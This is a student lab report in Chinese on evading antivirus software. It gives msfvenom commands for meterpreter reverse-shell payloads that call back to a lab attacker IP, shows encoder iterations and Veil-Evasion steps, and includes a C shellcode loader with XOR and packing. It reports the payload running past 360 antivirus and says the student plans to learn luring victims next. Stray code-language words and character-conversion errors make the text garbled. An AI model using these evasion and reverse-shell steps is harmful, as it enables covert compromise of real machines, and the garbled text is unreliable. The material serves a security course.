Exp3 免殺原理與實踐
<a name="1"></a>php
目錄
- <font face="華文中宋" size=4>基礎問題回答</font>
- <font face="華文中宋" size=4>實驗總結與體會</font>
- <font face="華文中宋" size=4>實踐過程記錄</font>
- <font face="華文中宋" size=4>離實戰還缺些什麼技術或步驟?</font>
<a name="2"></a>html
<h1 align="center">基礎問題回答</h1>
<a name="2.1"></a>java
(1)殺軟是如何檢測出惡意代碼的?python
- 特徵碼:通過對許多惡意代碼的分析,咱們發現了惡意代碼所共有的一段代碼,咱們把它當作特徵碼,那麼只要是帶有這段特徵碼的就視爲病毒;
- 啓發式惡意軟件檢測:就是若是一個程序在作惡意代碼一般作的事,那就把它當作惡意代碼;
- 基於行爲的惡意軟件檢測:是一種啓發式惡意軟件檢測。
<a name="2.2"></a>shell
(2)免殺是作什麼?編程
就是利用一些手段假裝咱們的後門文件,最終達到其潛伏在被控主機中且不被被控主機中的殺毒軟件檢測出來。windows
<a name="2.3"></a>tcp
(3)免殺的基本方法有哪些?工具
- msfvenom編碼
- veil-evasion
- C+shellcode
- 加殼
- 異或等運算變換
<font face="宋體" size=4>返回目錄</font>學習
<a name="4"></a>
<h1 align="center">實踐過程記錄</h1>
<a name="4.1"></a>
1、正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,本身利用shellcode編程等免殺工具或技巧;
(1)正確使用msf編碼器
- 把實驗二中生成的後門程序更名爲「zjy_backdoor.exe」後放到virscan網站中掃描結果以下:
- 用VirusTotal掃描後結果以下:
可見不加任何處理的後門程序可以被絕大多數殺毒軟件識別,那麼咱們嘗試用msf編碼器對後門程序進行一次到屢次的編碼,看看是否對免殺有所做用。
- 一次編碼使用命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.217.128 LPORT=443 -f exe > met-encoded.exe
- "-e"即編碼
- 十次編碼使用命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.217.128 LPORT=443 -f exe > met-encoded10.exe
- "-i"指定編碼個數
編碼十次後生成的可執行文件以下所示:
將編碼十次後的可執行文件上傳到VirusTotal掃描後結果以下:
可見,編碼對免殺沒有太大效果,緣由在於msfvenom會以固定的模板生成exe,全部它生成的exe,若是使用默認參數或模板,也有必定的固定特徵。因此通常來講AV廠商會針對其使用的模板來生成特徵碼,這樣就一勞永逸地解決全部msfvenom生成的惡意代碼了。
(2)msfvenom生成jar文件
- 生成Java後門程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20155312_backdoor_java.jar
生成的文件以下:
(3)msfvenom生成php文件
- 生成PHP後門程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.217.128 lport=443 x> 20155312_backdoor.php
生成的文件以下:
(4)msfvenom生成shellcode
- 生成shellcode使用命令:
msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.217.128 lport=443 -f c
生成的shellcode以下:
【其餘更多文件能夠參考狄唯佳同窗的博客】
(5)veil-evasion
1.首先下載veil,由於耗時過久網又太爛,因此用了老師的虛擬機,修改主機名的步驟以下:
- 首先點擊右上角的箭頭->接着點擊「有線」右側小箭頭,雙擊「有線設置」,以下圖所示:
- 第二步若是沒有出現所有設置,則須要點擊左上角後退箭頭查看所有設置,以下圖所示:
- 接着進入系統設置中的共享設置,以下圖所示:
- 最後修改共享中的計算機名稱,完成以下圖所示:
2.第二步,咱們有了實驗所需的veil工具後,首先要啓用veil,輸入命令:veil
;接着進入veil-evasion,在veil中輸入命令:use evasion
,以下圖所示:
3.輸入命令:use python/meterpreter/rev_tcp.py
用python語言重寫meterperter【注:這裏用python後面會出錯哦,不想嘗試錯誤的話,直接把python改爲c就好啦】,以下圖所示(此時輸入提示變爲「[python/meterpreter/rev_tcp>>]」):
4.設置反彈鏈接IP,命令爲:set LHOST 192.168.217.130
,注意此處的IP是KaliIP;
5.設置端口,命令爲:set LPORT 5312
6.輸入generate
生成文件,接着輸入你想要playload的名字:playload5312
7.選擇第一種默認方式生成:1
8.生成失敗(以下圖),換個方式重試,依次輸入以下命令:veil
->use evasion
->list
->use 28
->set LHOST ……
->set LPORT ……
->generate
->【輸入名稱】
->1
嘗試後一樣不能夠,以下圖所示:
9.這說明應該是python這種語言不能夠,因此按照一樣的方法,咱們選擇別的語言,例如「c」試一下,就是把use 28
改爲use 7
,或在第一種方法中把use python/meterpreter/rev_tcp.py
改爲use c/meterpreter/rev_tcp.py
,其餘步驟徹底相同,最終成功的樣子是這樣滴:
10.去/var/lib/veil/output/compiled/playload5312.exe這個路徑下找咱們生成的exe文件,很差找的話直接使用命令:cp -r /var/lib/veil/output/compiled/playload5312.exe ~/zjy
把這個文件複製到咱們熟悉的路徑下就能夠啦~
11.最終用virscan工具查下試試,有沒有起到免殺的效果,結果以下,10/39查出:
(6)C語言調用Shellcode版本
1.首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.217.130 LPORT=5312 -f c
用c語言生成一段shellcode;
2.建立一個文件20155312.c,而後將unsigned char buf[]賦值到其中,代碼以下:
unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" 乖巧的遵從老師指示,不能粘c代碼,此處省略 "\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main() { int (*func)() = (int(*)())buf; func(); }
3.使用命令:i686-w64-mingw32-g++ 20155312.c -o 20155312.exe
編譯這個.c文件爲可執行文件:
4.在掃描軟件上看看,有沒有免殺,9/39有點做用:
<font face="宋體" size=4>返回目錄</font>
<a name="4.2"></a>
2、經過組合應用各類技術實現惡意代碼免殺
先嚐試只對shellcode進行加殼,掃描結果爲8/39:
利用C語言調用Shellcode+異或+加殼實現了免殺,殺軟掃描結果以下:
工具檢測結果以下:5/39,仍是有五個能夠檢測出來的。
<font face="宋體" size=4>返回目錄</font>
<a name="4.3"></a>
3、用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本
殺軟名稱:360,版本:11(11.0.0.2001)
用電腦實測回連成功截圖以下:
<font face="宋體" size=4>返回目錄</font>
<a name="5"></a>
<h1 align="center">離實戰還缺些什麼技術或步驟?</h1>
感受本身如今也只是會參考其餘同窗的博客,看看別人怎麼實現了免殺本身再按照那個方向試試,可是缺少本身的想法,真正的實戰確定是要啃難啃的骨頭,別熱嚼碎了的東西確定是沒有太大價值的,我以爲本身要是想真正具有上戰場的能力,仍是要多查詢資料,多動腦。
此外,雖然程序可以實現免殺,但如何讓被控主機運行它也是一個問題,因此接下來要對如何假裝、吸引被供給端點擊這方面進行學習,我以爲這也是本身離實戰缺少的技術。
<font face="宋體" size=4>返回目錄</font>
<a name="3"></a>
<h1 align="center">實驗總結與體會</h1>
經過本次實驗,我瞭解到了免殺的概念、免殺的方法,熟練掌握了使用 VirusTotal、Virscan這些工具的方法,可以有條理、有目的的對後門動手實現一些免殺的處理,再一次溫習了實驗二中主機之間監聽、控制的操做,加深了印象,總之,通過此次實練本身的動手能力和對知識的理解程度有了必定的提高。